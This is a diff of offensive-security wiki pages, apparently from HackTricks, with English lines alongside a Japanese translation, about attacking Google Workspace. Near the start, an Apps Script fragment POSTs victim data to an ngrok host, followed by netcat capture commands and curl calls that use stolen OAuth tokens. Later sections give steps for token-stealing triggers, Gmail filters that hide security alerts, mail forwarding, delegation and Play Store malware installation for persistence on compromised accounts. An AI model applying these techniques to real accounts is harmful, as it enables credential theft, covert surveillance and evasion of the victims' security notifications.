var threads = GmailApp.getInboxThreads(0, 10)
|
||||
// To ask for gmail permissions
|
||||
var threads = GmailApp.getInboxThreads(0, 10)
|
||||
|
||||
// To ask for drive permissions
|
||||
var files = DriveApp.getFiles()
|
||||
// To ask for drive permissions
|
||||
var files = DriveApp.getFiles()
|
||||
}
|
||||
|
||||
function makePostRequest(data) {
|
||||
var url = "http://5.tcp.eu.ngrok.io:12027"
|
||||
var url = "http://5.tcp.eu.ngrok.io:12027"
|
||||
|
||||
var options = {
|
||||
method: "post",
|
||||
contentType: "application/json",
|
||||
payload: JSON.stringify(data),
|
||||
}
|
||||
var options = {
|
||||
method: "post",
|
||||
contentType: "application/json",
|
||||
payload: JSON.stringify(data),
|
||||
}
|
||||
|
||||
try {
|
||||
UrlFetchApp.fetch(url, options)
|
||||
} catch (e) {
|
||||
Logger.log("Error making POST request: " + e.toString())
|
||||
}
|
||||
try {
|
||||
UrlFetchApp.fetch(url, options)
|
||||
} catch (e) {
|
||||
Logger.log("Error making POST request: " + e.toString())
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
To capture the request you can just run:
|
||||
|
||||
リクエストをキャプチャするには、次のように実行するだけです:
|
||||
```bash
|
||||
ngrok tcp 4444
|
||||
nc -lv 4444 #macOS
|
||||
```
|
||||
|
||||
Permissions requested to execute the App Script:
|
||||
|
||||
<figure><img src="../../../images/image (334).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> As an external request is made the OAuth prompt will also **ask to permission to reach external endpoints**.
|
||||
> 外部リクエストが行われるため、OAuthプロンプトは**外部エンドポイントにアクセスするための権限を要求します**。
|
||||
|
||||
### Create Trigger
|
||||
|
||||
Once the App is read, click on **⏰ Triggers** to create a trigger. As **function** ro tun choose **`getToken`**, runs at deployment **`Head`**, in event source select **`From spreadsheet`** and event type select **`On open`** or **`On edit`** (according to your needs) and save.
|
||||
アプリを読み込んだら、**⏰ トリガー**をクリックしてトリガーを作成します。**関数**として**`getToken`**を選択し、デプロイメントは**`Head`**、イベントソースは**`From spreadsheet`**を選択し、イベントタイプは**`On open`**または**`On edit`**(必要に応じて)を選択して保存します。
|
||||
|
||||
Note that you can check the **runs of the App Scripts in the Executions tab** if you want to debug something.
|
||||
デバッグしたい場合は、**実行タブでアプリスクリプトの実行を確認できます**。
|
||||
|
||||
### Sharing
|
||||
|
||||
In order to **trigger** the **App Script** the victim needs to connect with **Editor Access**.
|
||||
**App Script**を**トリガー**するためには、被害者が**編集者アクセス**で接続する必要があります。
|
||||
|
||||
> [!TIP]
|
||||
> The **token** used to execute the **App Script** will be the one of the **creator of the trigger**, even if the file is opened as Editor by other users.
|
||||
> **App Script**を実行するために使用される**トークン**は、**トリガーの作成者のもの**になります。他のユーザーが編集者としてファイルを開いても同様です。
|
||||
|
||||
### Abusing Shared With Me documents
|
||||
|
||||
> [!CAUTION]
|
||||
> If someone **shared with you a document with App Scripts and a trigger using the Head** of the App Script (not a fixed deployment), you can modify the App Script code (adding for example the steal token functions), access it, and the **App Script will be executed with the permissions of the user that shared the document with you**! (note that the owners OAuth token will have as access scopes the ones given when the trigger was created).
|
||||
> 誰かが**App Scriptsとトリガーを持つドキュメントをあなたと共有した場合、App Scriptの**Head**を使用している場合(固定デプロイメントではない)、App Scriptコードを変更(例えば、トークンを盗む関数を追加)し、アクセスすると、**App Scriptはドキュメントを共有したユーザーの権限で実行されます**! (トリガーが作成されたときに与えられたアクセススコープを持つ所有者のOAuthトークンに注意してください)。
|
||||
>
|
||||
> A **notification will be sent to the creator of the script indicating that someone modified the script** (What about using gmail permissions to generate a filter to prevent the alert?)
|
||||
> **スクリプトの作成者に誰かがスクリプトを変更したことを示す通知が送信されます**(アラートを防ぐためにGmailの権限を使用してフィルターを生成するのはどうですか?)
|
||||
|
||||
> [!TIP]
|
||||
> If an **attacker modifies the scopes of the App Script** the updates **won't be applied** to the document until a **new trigger** with the changes is created. Therefore, an attacker won't be able to steal the owners creator token with more scopes than the one he set in the trigger he created.
|
||||
> **攻撃者がApp Scriptのスコープを変更した場合**、更新は**新しいトリガー**が作成されるまでドキュメントに適用されません。したがって、攻撃者は作成したトリガーで設定したスコープよりも多くのスコープを持つ所有者のトークンを盗むことはできません。
|
||||
|
||||
### Copying instead of sharing
|
||||
|
||||
When you create a link to share a document a link similar to this one is created: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
|
||||
If you **change** the ending **"/edit"** for **"/copy"**, instead of accessing it google will ask you if you want to **generate a copy of the document:**
|
||||
ドキュメントを共有するためのリンクを作成すると、次のようなリンクが作成されます:`https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
|
||||
**"/edit"**の部分を**"/copy"**に変更すると、Googleはドキュメントの**コピーを生成するかどうかを尋ねます:**
|
||||
|
||||
<figure><img src="../../../images/image (335).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If the user copies it an access it both the **contents of the document and the App Scripts will be copied**, however the **triggers are not**, therefore **nothing will be executed**.
|
||||
ユーザーがコピーしてアクセスすると、**ドキュメントの内容とApp Scriptsがコピーされます**が、**トリガーはコピーされないため、何も実行されません**。
|
||||
|
||||
### Sharing as Web Application
|
||||
|
||||
Note that it's also possible to **share an App Script as a Web application** (in the Editor of the App Script, deploy as a Web application), but an alert such as this one will appear:
|
||||
**App ScriptをWebアプリケーションとして共有することも可能です**(App ScriptのエディタでWebアプリケーションとしてデプロイします)が、次のようなアラートが表示されます:
|
||||
|
||||
<figure><img src="../../../images/image (337).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Followed by the **typical OAuth prompt asking** for the needed permissions.
|
||||
その後、必要な権限を求める**典型的なOAuthプロンプト**が表示されます。
|
||||
|
||||
### Testing
|
||||
|
||||
You can test a gathered token to list emails with:
|
||||
|
||||
収集したトークンを使用してメールをリストするテストができます:
|
||||
```bash
|
||||
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
|
||||
-H "Authorization: Bearer <token>"
|
||||
```
|
||||
|
||||
List calendar of the user:
|
||||
|
||||
ユーザーのカレンダーをリストする:
|
||||
```bash
|
||||
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
|
||||
-H "Accept: application/json" \
|
||||
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
|
||||
-H "Accept: application/json" \
|
||||
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
|
||||
```
|
||||
|
||||
## App Script as Persistence
|
||||
|
||||
One option for persistence would be to **create a document and add a trigger for the the getToken** function and share the document with the attacker so every-time the attacker opens the file he **exfiltrates the token of the victim.**
|
||||
持続性のための1つのオプションは、**ドキュメントを作成し、getToken**関数のトリガーを追加し、攻撃者とドキュメントを共有することです。これにより、攻撃者がファイルを開くたびに、**被害者のトークンを抽出します。**
|
||||
|
||||
It's also possible to create an App Script and make it trigger every X time (like every minute, hour, day...). An attacker that has **compromised credentials or a session of a victim could set an App Script time trigger and leak a very privileged OAuth token every day**:
|
||||
また、App Scriptを作成し、X時間ごとにトリガーを設定することも可能です(例えば、毎分、毎時、毎日...)。**資格情報や被害者のセッションを侵害した攻撃者は、App Scriptの時間トリガーを設定し、非常に特権のあるOAuthトークンを毎日漏洩させることができます**:
|
||||
|
||||
Just create an App Script, go to Triggers, click on Add Trigger, and select as event source Time-driven and select the options that better suits you:
|
||||
App Scriptを作成し、トリガーに移動し、トリガーの追加をクリックし、イベントソースとして時間駆動を選択し、あなたに最適なオプションを選択します:
|
||||
|
||||
<figure><img src="../../../images/image (336).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> This will create a security alert email and a push message to your mobile alerting about this.
|
||||
> これにより、セキュリティアラートのメールと、これに関するモバイルへのプッシュメッセージが作成されます。
|
||||
|
||||
### Shared Document Unverified Prompt Bypass
|
||||
|
||||
Moreover, if someone **shared** with you a document with **editor access**, you can generate **App Scripts inside the document** and the **OWNER (creator) of the document will be the owner of the App Script**.
|
||||
さらに、誰かが**編集者アクセス**を持つドキュメントをあなたと**共有**した場合、**ドキュメント内にApp Scriptsを生成**することができ、**ドキュメントの所有者(作成者)がApp Scriptの所有者になります**。
|
||||
|
||||
> [!WARNING]
|
||||
> This means, that the **creator of the document will appear as creator of any App Script** anyone with editor access creates inside of it.
|
||||
> これは、**ドキュメントの作成者が、誰でもその中で作成したApp Scriptの作成者として表示されることを意味します**。
|
||||
>
|
||||
> This also means that the **App Script will be trusted by the Workspace environment** of the creator of the document.
|
||||
> これはまた、**App Scriptがドキュメントの作成者のWorkspace環境によって信頼されることを意味します**。
|
||||
|
||||
> [!CAUTION]
|
||||
> This also means that if an **App Script already existed** and people have **granted access**, anyone with **Editor** permission on the doc can **modify it and abuse that access.**\
|
||||
> To abuse this you also need people to trigger the App Script. And one neat trick if to **publish the script as a web app**. When the **people** that already granted **access** to the App Script access the web page, they will **trigger the App Script** (this also works using `<img>` tags).
|
||||
> これはまた、**App Scriptがすでに存在していて、人々が**アクセスを付与している場合、**ドキュメントの**編集者**権限を持つ誰でも**それを**変更し、そのアクセスを悪用できることを意味します。**\
|
||||
> これを悪用するには、App Scriptをトリガーする人々が必要です。そして、1つの便利なトリックは、**スクリプトをウェブアプリとして公開することです**。**すでにApp Scriptに**アクセスを付与した**人々がウェブページにアクセスすると、**App Scriptをトリガーします**(これは`<img>`タグを使用しても機能します)。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -3,184 +3,179 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!CAUTION]
|
||||
> All the actions mentioned in this section that change setting will generate a **security alert to the email and even a push notification to any mobile synced** with the account.
|
||||
> このセクションで設定を変更するすべてのアクションは、**メールへのセキュリティアラートの送信と、アカウントに同期された任意のモバイルへのプッシュ通知を生成します**。
|
||||
|
||||
## **Persistence in Gmail**
|
||||
## **Gmailでの持続性**
|
||||
|
||||
- You can create **filters to hide** security notifications from Google
|
||||
- `from: (no-reply@accounts.google.com) "Security Alert"`
|
||||
- This will prevent security emails to reach the email (but won't prevent push notifications to the mobile)
|
||||
- Googleからのセキュリティ通知を**隠すためのフィルターを作成**できます
|
||||
- `from: (no-reply@accounts.google.com) "Security Alert"`
|
||||
- これにより、セキュリティメールがメールに届くのを防ぎます(ただし、モバイルへのプッシュ通知は防げません)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Steps to create a gmail filter</summary>
|
||||
<summary>Gmailフィルターを作成する手順</summary>
|
||||
|
||||
(Instructions from [**here**](https://support.google.com/mail/answer/6579))
|
||||
(手順は[**こちら**](https://support.google.com/mail/answer/6579)から)
|
||||
|
||||
1. Open [Gmail](https://mail.google.com/).
|
||||
2. In the search box at the top, click Show search options  .
|
||||
3. Enter your search criteria. If you want to check that your search worked correctly, see what emails show up by clicking **Search**.
|
||||
4. At the bottom of the search window, click **Create filter**.
|
||||
5. Choose what you’d like the filter to do.
|
||||
6. Click **Create filter**.
|
||||
1. [Gmail](https://mail.google.com/)を開きます。
|
||||
2. 上部の検索ボックスで、検索オプションを表示するをクリックします  。
|
||||
3. 検索条件を入力します。検索が正しく機能したか確認するには、**検索**をクリックして表示されるメールを確認します。
|
||||
4. 検索ウィンドウの下部で、**フィルターを作成**をクリックします。
|
||||
5. フィルターに何をさせたいかを選択します。
|
||||
6. **フィルターを作成**をクリックします。
|
||||
|
||||
Check your current filter (to delete them) in [https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters)
|
||||
現在のフィルターを確認(削除するため)するには、[https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters)にアクセスしてください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../images/image (331).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Create **forwarding address to forward sensitive information** (or everything) - You need manual access.
|
||||
- Create a forwarding address in [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop)
|
||||
- The receiving address will need to confirm this
|
||||
- Then, set to forward all the emails while keeping a copy (remember to click on save changes):
|
||||
- **機密情報を転送するための転送先アドレスを作成**します(またはすべて) - 手動アクセスが必要です。
|
||||
- [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop)で転送先アドレスを作成します。
|
||||
- 受信アドレスはこれを確認する必要があります。
|
||||
- 次に、すべてのメールを転送し、コピーを保持するように設定します(変更を保存することを忘れないでください):
|
||||
|
||||
<figure><img src="../../images/image (332).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's also possible create filters and forward only specific emails to the other email address.
|
||||
特定のメールのみを他のメールアドレスに転送するフィルターを作成することも可能です。
|
||||
|
||||
## App passwords
|
||||
## アプリパスワード
|
||||
|
||||
If you managed to **compromise a google user session** and the user had **2FA**, you can **generate** an [**app password**](https://support.google.com/accounts/answer/185833?hl=en) (follow the link to see the steps). Note that **App passwords are no longer recommended by Google and are revoked** when the user **changes his Google Account password.**
|
||||
もしあなたが**Googleユーザーセッションを侵害**し、ユーザーが**2FA**を有効にしていた場合、[**アプリパスワード**](https://support.google.com/accounts/answer/185833?hl=en)を**生成**できます(手順はリンクを参照してください)。**アプリパスワードはもはやGoogleによって推奨されておらず、ユーザーが**Googleアカウントのパスワードを変更すると無効になります。**
|
||||
|
||||
**Even if you have an open session you will need to know the password of the user to create an app password.**
|
||||
**オープンセッションがあっても、アプリパスワードを作成するにはユーザーのパスワードを知っている必要があります。**
|
||||
|
||||
> [!NOTE]
|
||||
> App passwords can **only be used with accounts that have 2-Step Verification** turned on.
|
||||
> アプリパスワードは、**2段階認証が有効なアカウントでのみ使用できます**。
|
||||
|
||||
## Change 2-FA and similar
|
||||
## 2-FAの変更と類似
|
||||
|
||||
It's also possible to **turn off 2-FA or to enrol a new device** (or phone number) in this page [**https://myaccount.google.com/security**](https://myaccount.google.com/security)**.**\
|
||||
**It's also possible to generate passkeys (add your own device), change the password, add mobile numbers for verification phones and recovery, change the recovery email and change the security questions).**
|
||||
このページ[**https://myaccount.google.com/security**](https://myaccount.google.com/security)**で2-FAをオフにしたり、新しいデバイス(または電話番号)を登録したりすることも可能です。**\
|
||||
**パスキーを生成したり(自分のデバイスを追加したり)、パスワードを変更したり、確認用電話のための携帯番号を追加したり、回復用メールを変更したり、セキュリティ質問を変更したりすることも可能です。**
|
||||
|
||||
> [!CAUTION]
|
||||
> To **prevent security push notifications** to reach the phone of the user, you could **sign his smartphone out** (although that would be weird) because you cannot sign him in again from here.
|
||||
>
|
||||
> It's also possible to **locate the device.**
|
||||
> ユーザーの電話に**セキュリティプッシュ通知が届かないようにするために、彼のスマートフォンからサインアウトすることができます**(ただし、それは奇妙です)なぜなら、ここから再度サインインすることはできないからです。\
|
||||
> デバイスを**特定することも可能です。**
|
||||
|
||||
**Even if you have an open session you will need to know the password of the user to change these settings.**
|
||||
**オープンセッションがあっても、これらの設定を変更するにはユーザーのパスワードを知っている必要があります。**
|
||||
|
||||
## Persistence via OAuth Apps
|
||||
## OAuthアプリによる持続性
|
||||
|
||||
If you have **compromised the account of a user,** you can just **accept** to grant all the possible permissions to an **OAuth App**. The only problem is that Workspace can be configure to **disallow unreviewed external and/or internal OAuth apps.**\
|
||||
It is pretty common for Workspace Organizations to not trust by default external OAuth apps but trust internal ones, so if you have **enough permissions to generate a new OAuth application** inside the organization and external apps are disallowed, generate it and **use that new internal OAuth app to maintain persistence**.
|
||||
もしあなたが**ユーザーのアカウントを侵害した場合、**すべての可能な権限を**OAuthアプリ**に付与することを**受け入れる**ことができます。唯一の問題は、Workspaceが**未審査の外部および/または内部OAuthアプリを禁止するように設定されている可能性があることです。**\
|
||||
Workspaceの組織では、デフォルトで外部OAuthアプリを信頼せず、内部のものを信頼することが一般的です。したがって、**組織内で新しいOAuthアプリケーションを生成するのに十分な権限がある場合、外部アプリが禁止されている場合は、それを生成し、**その新しい内部OAuthアプリを使用して持続性を維持します**。
|
||||
|
||||
Check the following page for more information about OAuth Apps:
|
||||
OAuthアプリに関する詳細情報は、以下のページを確認してください:
|
||||
|
||||
{{#ref}}
|
||||
gws-google-platforms-phishing/
|
||||
{{#endref}}
|
||||
|
||||
## Persistence via delegation
|
||||
## 委任による持続性
|
||||
|
||||
You can just **delegate the account** to a different account controlled by the attacker (if you are allowed to do this). In Workspace **Organizations** this option must be **enabled**. It can be disabled for everyone, enabled from some users/groups or for everyone (usually it's only enabled for some users/groups or completely disabled).
|
||||
アカウントを攻撃者が制御する別のアカウントに**委任する**ことができます(これが許可されている場合)。Workspaceの**組織**では、このオプションは**有効**でなければなりません。すべてのユーザーに対して無効にすることも、特定のユーザー/グループから有効にすることも、すべてのユーザーに対して有効にすることもできます(通常は一部のユーザー/グループのみに有効にされるか、完全に無効にされます)。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>If you are a Workspace admin check this to enable the feature</summary>
|
||||
<summary>Workspace管理者の場合、この機能を有効にするにはこちらを確認してください</summary>
|
||||
|
||||
(Information [copied form the docs](https://support.google.com/a/answer/7223765))
|
||||
(情報は[ドキュメントからコピー](https://support.google.com/a/answer/7223765))
|
||||
|
||||
As an administrator for your organization (for example, your work or school), you control whether users can delegate access to their Gmail account. You can let everyone have the option to delegate their account. Or, only let people in certain departments set up delegation. For example, you can:
|
||||
あなたの組織(例えば、あなたの職場や学校)の管理者として、ユーザーが自分のGmailアカウントへのアクセスを委任できるかどうかを制御します。すべての人にアカウントを委任するオプションを与えることも、特定の部門の人々だけに委任を設定させることもできます。例えば、あなたは:
|
||||
|
||||
- Add an administrative assistant as a delegate on your Gmail account so they can read and send email on your behalf.
|
||||
- Add a group, such as your sales department, in Groups as a delegate to give everyone access to one Gmail account.
|
||||
- 自分のGmailアカウントに管理アシスタントを委任者として追加し、彼らがあなたの代わりにメールを読み、送信できるようにします。
|
||||
- グループ(例えば、営業部門)を委任者として追加し、全員が1つのGmailアカウントにアクセスできるようにします。
|
||||
|
||||
Users can only delegate access to another user in the same organization, regardless of their domain or their organizational unit.
|
||||
ユーザーは、同じ組織内の他のユーザーにのみアクセスを委任できます。ドメインや組織単位に関係なく。
|
||||
|
||||
#### Delegation limits & restrictions
|
||||
#### 委任の制限と制約
|
||||
|
||||
- **Allow users to grant their mailbox access to a Google group** option: To use this option, it must be enabled for the OU of the delegated account and for each group member's OU. Group members that belong to an OU without this option enabled can't access the delegated account.
|
||||
- With typical use, 40 delegated users can access a Gmail account at the same time. Above-average use by one or more delegates might reduce this number.
|
||||
- Automated processes that frequently access Gmail might also reduce the number of delegates who can access an account at the same time. These processes include APIs or browser extensions that access Gmail frequently.
|
||||
- A single Gmail account supports up to 1,000 unique delegates. A group in Groups counts as one delegate toward the limit.
|
||||
- Delegation does not increase the limits for a Gmail account. Gmail accounts with delegated users have the standard Gmail account limits and policies. For details, visit [Gmail limits and policies](https://support.google.com/a/topic/28609).
|
||||
- **ユーザーがGoogleグループに自分のメールボックスへのアクセスを付与できるようにする**オプション:このオプションを使用するには、委任されたアカウントのOUおよび各グループメンバーのOUで有効にする必要があります。このオプションが有効でないOUに属するグループメンバーは、委任されたアカウントにアクセスできません。
|
||||
- 通常の使用では、40人の委任ユーザーが同時にGmailアカウントにアクセスできます。1人以上の委任者による平均以上の使用は、この数を減少させる可能性があります。
|
||||
- Gmailに頻繁にアクセスする自動化プロセスも、同時にアカウントにアクセスできる委任者の数を減少させる可能性があります。これらのプロセスには、Gmailに頻繁にアクセスするAPIやブラウザ拡張機能が含まれます。
|
||||
- 単一のGmailアカウントは最大1,000のユニークな委任者をサポートします。グループは制限に対して1つの委任者としてカウントされます。
|
||||
- 委任はGmailアカウントの制限を増加させません。委任ユーザーのいるGmailアカウントは、標準のGmailアカウントの制限とポリシーを持っています。詳細については、[Gmailの制限とポリシー](https://support.google.com/a/topic/28609)を訪問してください。
|
||||
|
||||
#### Step 1: Turn on Gmail delegation for your users
|
||||
#### ステップ1:ユーザーのGmail委任を有効にする
|
||||
|
||||
**Before you begin:** To apply the setting for certain users, put their accounts in an [organizational unit](https://support.google.com/a/topic/1227584).
|
||||
**始める前に:**特定のユーザーに設定を適用するには、彼らのアカウントを[組織単位](https://support.google.com/a/topic/1227584)に入れてください。
|
||||
|
||||
1. [Sign in](https://admin.google.com/) to your [Google Admin console](https://support.google.com/a/answer/182076).
|
||||
1. [サインイン](https://admin.google.com/)して、[Google管理コンソール](https://support.google.com/a/answer/182076)にアクセスします。
|
||||
|
||||
Sign in using an _administrator account_, not your current account CarlosPolop@gmail.com
|
||||
管理者アカウントを使用してサインインしてください。現在のアカウントCarlosPolop@gmail.comではありません。
|
||||
|
||||
2. In the Admin console, go to Menu  **Apps****Google Workspace****Gmail****User settings**.
|
||||
3. To apply the setting to everyone, leave the top organizational unit selected. Otherwise, select a child [organizational unit](https://support.google.com/a/topic/1227584).
|
||||
4. Click **Mail delegation**.
|
||||
5. Check the **Let users delegate access to their mailbox to other users in the domain** box.
|
||||
6. (Optional) To let users specify what sender information is included in delegated messages sent from their account, check the **Allow users to customize this setting** box.
|
||||
7. Select an option for the default sender information that's included in messages sent by delegates:
|
||||
- **Show the account owner and the delegate who sent the email**—Messages include the email addresses of the Gmail account owner and the delegate.
|
||||
- **Show the account owner only**—Messages include the email address of only the Gmail account owner. The delegate email address is not included.
|
||||
8. (Optional) To let users add a group in Groups as a delegate, check the **Allow users to grant their mailbox access to a Google group** box.
|
||||
9. Click **Save**. If you configured a child organizational unit, you might be able to **Inherit** or **Override** a parent organizational unit's settings.
|
||||
10. (Optional) To turn on Gmail delegation for other organizational units, repeat steps 3–9.
|
||||
2. 管理コンソールで、メニュー  **アプリ****Google Workspace****Gmail****ユーザー設定**に移動します。
|
||||
3. すべての人に設定を適用するには、上部の組織単位を選択したままにします。そうでない場合は、子の[組織単位](https://support.google.com/a/topic/1227584)を選択します。
|
||||
4. **メール委任**をクリックします。
|
||||
5. **ユーザーがドメイン内の他のユーザーに自分のメールボックスへのアクセスを委任できるようにする**ボックスをチェックします。
|
||||
6. (オプション)ユーザーが自分のアカウントから送信される委任メッセージに含まれる送信者情報を指定できるようにするには、**この設定をカスタマイズできるようにする**ボックスをチェックします。
|
||||
7. 委任者が送信するメッセージに含まれるデフォルトの送信者情報のオプションを選択します:
|
||||
- **アカウント所有者とメールを送信した委任者を表示**—メッセージにはGmailアカウント所有者と委任者のメールアドレスが含まれます。
|
||||
- **アカウント所有者のみを表示**—メッセージにはGmailアカウント所有者のメールアドレスのみが含まれます。委任者のメールアドレスは含まれません。
|
||||
8. (オプション)ユーザーがグループを委任者として追加できるようにするには、**ユーザーがGoogleグループに自分のメールボックスへのアクセスを付与できるようにする**ボックスをチェックします。
|
||||
9. **保存**をクリックします。子の組織単位を設定した場合、親の組織単位の設定を**継承**または**上書き**できる場合があります。
|
||||
10. (オプション)他の組織単位のGmail委任を有効にするには、ステップ3〜9を繰り返します。
|
||||
|
||||
Changes can take up to 24 hours but typically happen more quickly. [Learn more](https://support.google.com/a/answer/7514107)
|
||||
変更には最大24時間かかる場合がありますが、通常はより早く行われます。[詳細を学ぶ](https://support.google.com/a/answer/7514107)
|
||||
|
||||
#### Step 2: Have users set up delegates for their accounts
|
||||
#### ステップ2:ユーザーが自分のアカウントの委任者を設定する
|
||||
|
||||
After you turn on delegation, your users go to their Gmail settings to assign delegates. Delegates can then read, send, and receive messages on behalf of the user.
|
||||
委任を有効にした後、ユーザーは自分のGmail設定に移動して委任者を割り当てます。委任者はその後、ユーザーの代わりにメッセージを読み、送信し、受信できます。
|
||||
|
||||
For details, direct users to [Delegate and collaborate on email](https://support.google.com/a/users/answer/138350).
|
||||
詳細については、ユーザーに[メールの委任と共同作業](https://support.google.com/a/users/answer/138350)を参照するように指示してください。
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>From a regular suer, check here the instructions to try to delegate your access</summary>
|
||||
<summary>通常のユーザーから、アクセスを委任するための手順を確認してください</summary>
|
||||
|
||||
(Info copied [**from the docs**](https://support.google.com/mail/answer/138350))
|
||||
(情報は[**ドキュメントからコピー**](https://support.google.com/mail/answer/138350))
|
||||
|
||||
You can add up to 10 delegates.
|
||||
最大10人の委任者を追加できます。
|
||||
|
||||
If you're using Gmail through your work, school, or other organization:
|
||||
職場、学校、または他の組織を通じてGmailを使用している場合:
|
||||
|
||||
- You can add up to 1000 delegates within your organization.
|
||||
- With typical use, 40 delegates can access a Gmail account at the same time.
|
||||
- If you use automated processes, such as APIs or browser extensions, a few delegates can access a Gmail account at the same time.
|
||||
- 組織内で最大1000人の委任者を追加できます。
|
||||
- 通常の使用では、40人の委任者が同時にGmailアカウントにアクセスできます。
|
||||
- APIやブラウザ拡張機能などの自動化プロセスを使用している場合、数人の委任者が同時にGmailアカウントにアクセスできる場合があります。
|
||||
|
||||
1. On your computer, open [Gmail](https://mail.google.com/). You can't add delegates from the Gmail app.
|
||||
2. In the top right, click Settings   **See all settings**.
|
||||
3. Click the **Accounts and Import** or **Accounts** tab.
|
||||
4. In the "Grant access to your account" section, click **Add another account**. If you’re using Gmail through your work or school, your organization may restrict email delegation. If you don’t see this setting, contact your admin.
|
||||
- If you don't see Grant access to your account, then it's restricted.
|
||||
5. Enter the email address of the person you want to add. If you’re using Gmail through your work, school, or other organization, and your admin allows it, you can enter the email address of a group. This group must have the same domain as your organization. External members of the group are denied delegation access.\
|
||||
\
|
||||
**Important:** If the account you delegate is a new account or the password was reset, the Admin must turn off the requirement to change password when you first sign in.
|
||||
1. コンピュータで[Gmail](https://mail.google.com/)を開きます。Gmailアプリからは委任者を追加できません。
|
||||
2. 右上で設定をクリックします   **すべての設定を表示**をクリックします。
|
||||
3. **アカウントとインポート**または**アカウント**タブをクリックします。
|
||||
4. "アカウントへのアクセスを付与"セクションで、**別のアカウントを追加**をクリックします。職場や学校を通じてGmailを使用している場合、組織がメールの委任を制限している可能性があります。この設定が表示されない場合は、管理者に連絡してください。
|
||||
- アカウントへのアクセスを付与が表示されない場合、それは制限されています。
|
||||
5. 追加したい人のメールアドレスを入力します。職場、学校、または他の組織を通じてGmailを使用している場合、管理者が許可している場合は、グループのメールアドレスを入力できます。このグループは、あなたの組織と同じドメインを持っている必要があります。グループの外部メンバーは委任アクセスを拒否されます。\
|
||||
\
|
||||
**重要:**委任するアカウントが新しいアカウントであるか、パスワードがリセットされた場合、管理者は最初にサインインする際にパスワードを変更する必要があるという要件をオフにする必要があります。
|
||||
|
||||
- [Learn how an Admin can create a user](https://support.google.com/a/answer/33310).
|
||||
- [Learn how an Admin can reset passwords](https://support.google.com/a/answer/33319).
|
||||
- [管理者がユーザーを作成する方法を学ぶ](https://support.google.com/a/answer/33310)。
|
||||
- [管理者がパスワードをリセットする方法を学ぶ](https://support.google.com/a/answer/33319)。
|
||||
|
||||
6\. Click **Next Step**  **Send email to grant access**.
|
||||
6. **次のステップ**をクリックします  **アクセスを付与するためのメールを送信**します。
|
||||
|
||||
The person you added will get an email asking them to confirm. The invitation expires after a week.
|
||||
追加した人には確認を求めるメールが届きます。招待は1週間後に期限切れになります。
|
||||
|
||||
If you added a group, all group members will become delegates without having to confirm.
|
||||
グループを追加した場合、すべてのグループメンバーは確認なしで委任者になります。
|
||||
|
||||
Note: It may take up to 24 hours for the delegation to start taking effect.
|
||||
注意:委任が有効になるまで最大24時間かかる場合があります。
|
||||
|
||||
</details>
|
||||
|
||||
## Persistence via Android App
|
||||
## Androidアプリによる持続性
|
||||
|
||||
If you have a **session inside victims google account** you can browse to the **Play Store** and might be able to **install malware** you have already uploaded to the store directly **to the phone** to maintain persistence and access the victims phone.
|
||||
もしあなたが**被害者のGoogleアカウント内にセッションを持っている場合**、**Playストア**にアクセスし、すでにストアにアップロードした**マルウェアを直接**電話に**インストール**できるかもしれません。これにより持続性を維持し、被害者の電話にアクセスできます。
|
||||
|
||||
## **Persistence via** App Scripts
|
||||
## **アプリスクリプトによる持続性**
|
||||
|
||||
You can create **time-based triggers** in App Scripts, so if the App Script is accepted by the user, it will be **triggered** even **without the user accessing it**. For more information about how to do this check:
|
||||
アプリスクリプトで**時間ベースのトリガーを作成**できますので、アプリスクリプトがユーザーによって受け入れられた場合、ユーザーがアクセスしなくても**トリガーされます**。これを行う方法の詳細については、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
gws-google-platforms-phishing/gws-app-scripts.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,78 +1,74 @@
|
||||
# GWS - Post Exploitation
|
||||
# GWS - ポストエクスプロイト
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Google Groups Privesc
|
||||
## Google Groups プライベート昇格
|
||||
|
||||
By default in workspace a **group** can be **freely accessed** by any member of the organization.\
|
||||
Workspace also allow to **grant permission to groups** (even GCP permissions), so if groups can be joined and they have extra permissions, an attacker may **abuse that path to escalate privileges**.
|
||||
デフォルトでは、ワークスペース内の**グループ**は組織の任意のメンバーによって**自由にアクセス**できます。\
|
||||
